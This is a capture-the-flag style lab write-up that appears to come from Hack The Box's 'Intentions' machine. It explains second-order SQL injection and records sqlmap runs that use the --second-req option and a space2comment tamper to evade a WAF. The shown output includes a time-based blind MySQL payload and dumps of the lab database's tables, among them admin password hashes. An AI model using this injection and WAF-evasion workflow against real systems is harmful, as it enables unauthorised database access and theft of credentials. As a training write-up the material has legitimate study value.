2nd Order SQLi


a 2nd order attack refers to a type of security vulnerability that occurs when an application or system fails to properly validate or sanitize user input before using it in a subsequent operation. It involves an attacker exploiting a trusted user’s actions to carry out malicious activities.

In a second-order attack, the attacker doesn’t directly inject malicious code or execute an attack payload, but rather manipulates the input or data that will be stored or processed by the system. The manipulated data might be saved in a database, file, or other storage mechanism, and later retrieved or used by the application.

  1. A web application has a profile page where users can modify their profile settings, including their preferred genres for a gallery feed.
  2. The application allows users to update the genres parameter in their profile, which is stored in the backend database.
  3. The application renders the /gallery#/feed page by making a request to the API endpoint at /api/v1/gallery/user/feed, which retrieves the user’s preferred genres from the database.
  4. The application constructs an SQL query to fetch the relevant data from the database based on the user’s genres preference.
  5. However, the application fails to properly validate or sanitize the genres parameter, making it vulnerable to SQL injection.
  6. An attacker exploits this vulnerability by manipulating the genres parameter and injecting malicious SQL code.
  7. When the /gallery#/feed page is rendered, the application executes the manipulated SQL query
  8. Additionally, the attacker could craft more sophisticated SQL injection payloads to extract sensitive data from the database, modify data, or perform other malicious activities depending on the application’s permissions and the underlying database system.

As identified previously, I have control the parameters, genres, which is displayed on to the /gallery#/feed page through the API endpoint available at /api/v1/gallery/user/feed

Changing the genres parameter is done through the API endpoint at /api/v1/gallery/user/genres

/gallery#/feed displays images accordingly with the genres parameter from the API endpoint at /api/v1/gallery/user/feed

I will be using sqlmap

sqlmap


┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ nano genres.txt   

I can just save the request into a file and loaded to sqlmap with the -r flag This is the request to modify the genres parameter with the * character to tell sqlmap to target

┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ cat 2nd-order.txt 

and this is another request file to the API endpoint, /api/v1/gallery/user/feed, sqlmap will check and confirm the execution of SQL injection through here. Hence the name “second order”

┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt      
[*] starting @ 12:03:16 /2023-07-04/
 
[12:03:16] [INFO] parsing HTTP request from 'genres.txt'
[12:03:16] [INFO] parsing second-order HTTP request from '2nd-order.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] 
JSON data found in POST body. Do you want to process it? [Y/n/q] 
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
 
[...REDACTED...]
 
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] 
[12:03:38] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be injectable
[12:03:38] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[12:03:38] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 36 times
 
[*] ending @ 12:03:38 /2023-07-04/

It initially fails and sqlmap suggests the --tamper flag there might be some kind of protection mechanism such as WAF

A Web Application Firewall (WAF) is a security measure designed to protect web applications from various types of attacks, including SQL injection, cross-site scripting (XSS), and other web-based vulnerabilities. It acts as a filter between the web application and the client, inspecting incoming requests and outgoing responses to detect and block malicious traffic.

When it comes to bypassing WAFs, sqlmap uses various techniques to evade detection and successfully exploit SQL injection vulnerabilities. One of the techniques it employs is tampering, where it modifies the payload of SQL injection requests to bypass filters and WAF protections.

Since sqlmap suggested space2comment as an example, I will go with that

┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt --tamper=space2comment
[*] starting @ 12:05:53 /2023-07-04/
 
[12:05:53] [INFO] parsing HTTP request from 'genres.txt'
[12:05:53] [INFO] parsing second-order HTTP request from '2nd-order.txt'
[12:05:53] [INFO] loading tamper module 'space2comment'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] 
JSON data found in POST body. Do you want to process it? [Y/n/q] 
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
 
[...REDACTED...]
 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 79 HTTP(s) requests:
---
parameter: JSON #1* ((custom) POST)
    type: time-based blind
    title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    payload: {"genres":"') AND (SELECT 6859 FROM (SELECT(SLEEP(5)))QZqT) AND ('VpMy'='VpMy"}
---
[12:06:52] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:06:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[*] ending @ 12:07:00 /2023-07-04/

It worked. It is a time-based blind SQLi

DB


┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt --tamper=space2comment --batch --dbs
[*] starting @ 12:09:24 /2023-07-04/
 
[12:09:24] [INFO] parsing HTTP request from 'genres.txt'
[12:09:24] [INFO] parsing second-order HTTP request from '2nd-order.txt'
[12:09:24] [INFO] loading tamper module 'space2comment'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[12:09:24] [INFO] resuming back-end DBMS 'mysql' 
[12:09:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"genres":"') AND (SELECT 6859 FROM (SELECT(SLEEP(5)))QZqT) AND ('VpMy'='VpMy"}
---
[12:09:24] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:09:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end dbms: MySQL >= 5.0.12 (MariaDB fork)
[12:09:24] [INFO] fetching database names
[12:09:24] [INFO] fetching number of databases
[12:09:24] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[12:09:31] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[12:09:43] [INFO] retrieved: 
[12:09:48] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[12:11:14] [INFO] retrieved: intentions
available databases [2]:
[*] information_schema
[*] intentions
 
[12:12:05] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.11.220'
[12:12:05] [WARNING] your sqlmap version is outdated
 
[*] ending @ 12:12:05 /2023-07-04/

I won’t check the default information_schema DB. intentions must be the DB responsible for the web app

Tables


┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt --tamper=space2comment --batch -D intentions --tables --dump
[*] starting @ 12:17:38 /2023-07-04/
 
[12:17:38] [INFO] parsing HTTP request from 'genres.txt'
[12:17:38] [INFO] parsing second-order HTTP request from '2nd-order.txt'
[12:17:38] [INFO] loading tamper module 'space2comment'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[12:17:38] [INFO] resuming back-end DBMS 'mysql' 
[12:17:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
parameter: JSON #1* ((custom) POST)
    type: time-based blind
    title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    payload: {"genres":"') AND (SELECT 6859 FROM (SELECT(SLEEP(5)))QZqT) AND ('VpMy'='VpMy"}
---
[12:17:39] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:17:39] [INFO] fetching tables for database: 'intentions'
[12:17:39] [INFO] fetching number of tables for database 'intentions'
[12:17:39] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[12:17:52] [INFO] retrieved: 
[12:18:02] [INFO] adjusting time delay to 1 second due to good response times
gallery_images
[12:19:06] [INFO] retrieved: personal_access_tokens
[12:20:58] [INFO] retrieved: migrations
[12:21:45] [INFO] retrieved: users
Database: intentions
[4 tables]
+------------------------+
| gallery_images         |
| migrations             |
| personal_access_tokens |
| users                  |
+------------------------+

There are 4 tables within the intentions DB

  • The intentions.users table appears to contain the credentials
  • The intentions.personal_access_tokens may also contain session tokens
  • The intentions.migrations must be relevant to the v2 API change

intentions.users


┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt --tamper=space2comment --batch -D intentions --tables -T users --dump
[*] starting @ 13:36:02 /2023-07-04/
 
[13:36:02] [INFO] parsing HTTP request from 'genres.txt'
[13:36:02] [INFO] parsing second-order HTTP request from '2nd-order.txt'
[13:36:02] [INFO] loading tamper module 'space2comment'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[13:36:02] [INFO] resuming back-end DBMS 'mysql' 
[13:36:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"genres":"') AND (SELECT 6859 FROM (SELECT(SLEEP(5)))QZqT) AND ('VpMy'='VpMy"}
---
[13:36:03] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[13:36:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end dbms: MySQL >= 5.0.12 (MariaDB fork)
database: intentions
[4 tables]
+------------------------+
| gallery_images         |
| migrations             |
| personal_access_tokens |
| users                  |
+------------------------+
 
database: intentions
table: users
[8 entries]
+----+---------------------+-------+-------------------------------+--------------------+--------------------------------------------------------------+---------------------+---------------------+
| id | name                | admin | email                         | genres             | password                                                     | created_at          | updated_at          |
+----+---------------------+-------+-------------------------------+--------------------+--------------------------------------------------------------+---------------------+---------------------+
| 1  | steve               | 1     | steve@intentions.htb          | food,travel,nature | $2y$10$m/g27t1kjcopyofpqqli3.yfdliwr3ewbzwolfpottjpemqpp4twa | 2023-02-02 17:43:00 | 2023-02-02 17:43:00 |
| 2  | greg                | 1     | greg@intentions.htb           | food,travel,nature | $2y$10$95or7nhskyufuuxst1ks6uoq93aufmrpknz4jwrqzibsupriiyu5m | 2023-02-02 17:44:11 | 2023-02-02 17:44:11 |
| 3  | melisa runolfsson   | 0     | hettie.rutherford@example.org | food,travel,nature | $2y$10$bymj                                                  | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 4  | camren ullrich      | 0     | nader.alva@example.org        | food,travel,nature | $2y$10$wkbf7nfjze5gi5sp7hb5/ua9bi/bmonfiufhbye4guql/jic/gte2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 5  | mr. lucius towne i  | 0     | jones.laury@example.com       | food,travel,nature | $2y$10$jembrsntwigdzh3vfo1qt.zf/hbphipj1vgdvmxck56icvd6mn/ae | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 6  | jasen mosciski      | 0     | wanda93@example.org           | food,travel,nature | $2y$10$okgh6f8kdeblk6hzkqa2meqydeiy5gossfmeygzofj9d1eqgid2rw | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 7  | monique d'amore     | 0     | mwisoky@example.org           | food,travel,nature | $2y$10$pamvp3xpodhnm38lnbwpyuzn0b/0nnhytsmf1pbeoz6ghjq.eca7. | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 8  | desmond greenfelder | 0     | lura.zieme@example.org        | food,travel,nature | $2y$10$.vfxnlyhad5ypvanmst3l.5tgata4/dxv1jnfbvcpar2h.sddioy2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
+----+---------------------+-------+-------------------------------+--------------------+--------------------------------------------------------------+---------------------+---------------------+
 
[14:55:59] [INFO] table 'intentions.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.11.220/dump/intentions/users.csv'
[14:55:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.11.220'
[14:55:59] [WARNING] your sqlmap version is outdated
 
[*] ending @ 14:55:59 /2023-07-04/
 

Initially, I was unable to proceed forward as sqlmap was looping through data retrieval without success It was likely due to the session token being expired so I refreshed and re-ran it

There are a lot more users than what I have enumerated so far. I stopped it simply because I got what I needed; 2 admin users

Those hash strings are not crackable, but there is another use for them

intentions.personal_access_tokens


┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt --tamper=space2comment --batch -D intentions --tables -T personal_access_tokens --dump 
[*] starting @ 14:58:14 /2023-07-04/
 
[14:58:14] [INFO] parsing HTTP request from 'genres.txt'
[14:58:14] [INFO] parsing second-order HTTP request from '2nd-order.txt'
[14:58:14] [INFO] loading tamper module 'space2comment'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[14:58:14] [INFO] resuming back-end DBMS 'mysql' 
[14:58:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
parameter: JSON #1* ((custom) POST)
    type: time-based blind
    title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    payload: {"genres":"') AND (SELECT 6859 FROM (SELECT(SLEEP(5)))QZqT) AND ('VpMy'='VpMy"}
---
[14:58:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[14:58:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Database: intentions
[4 tables]
+------------------------+
| gallery_images         |
| migrations             |
| personal_access_tokens |
| users                  |
+------------------------+
 
Database: intentions
Table: personal_access_tokens
[0 entries]
+----+--------------+------+-------+-----------+------------+------------+--------------+----------------+
| id | tokenable_id | name | token | abilities | created_at | updated_at | last_used_at | tokenable_type |
+----+--------------+------+-------+-----------+------------+------------+--------------+----------------+
+----+--------------+------+-------+-----------+------------+------------+--------------+----------------+
 
[15:05:12] [INFO] table 'intentions.personal_access_tokens' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.11.220/dump/intentions/personal_access_tokens.csv'
[15:05:12] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.11.220'
[15:05:12] [WARNING] your sqlmap version is outdated
 
[*] ending @ 15:05:12 /2023-07-04/

The table is empty

intentions.migrations


┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sqlmap -r genres.txt --second-req 2nd-order.txt --tamper=space2comment --batch -D intentions --tables -T migrations --dump
[*] starting @ 15:06:17 /2023-07-04/
 
[15:06:17] [INFO] parsing HTTP request from 'genres.txt'
[15:06:17] [INFO] parsing second-order HTTP request from '2nd-order.txt'
[15:06:17] [INFO] loading tamper module 'space2comment'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[15:06:18] [INFO] resuming back-end DBMS 'mysql' 
[15:06:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"genres":"') AND (SELECT 6859 FROM (SELECT(SLEEP(5)))QZqT) AND ('VpMy'='VpMy"}
---
[15:06:18] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:06:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end dbms: MySQL >= 5.0.12 (MariaDB fork)
database: intentions
[4 tables]
+------------------------+
| gallery_images         |
| migrations             |
| personal_access_tokens |
| users                  |
+------------------------+
 
database: intentions
table: migrations
[4 entries]
+----+-------+-------------------------------------------------------+
| id | batch | migration                                             |
+----+-------+-------------------------------------------------------+
| 1  | 1     | 2014_10_12_000000_create_users_table                  |
| 2  | 1     | 2019_12_14_000001_create_personal_access_tokens_table |
| 3  | 1     | 2023_02_01_014219_create_gallery_image_table          |
| 4  | 1     | 2023_02_02_014532_add_users_admin_column              |
+----+-------+-------------------------------------------------------+
 
[15:22:46] [INFO] table 'intentions.migrations' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.11.220/dump/intentions/migrations.csv'
[15:22:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.11.220'
[15:22:46] [WARNING] your sqlmap version is outdated
 
[*] ending @ 15:22:46 /2023-07-04/

The table appears to contains 4 files within.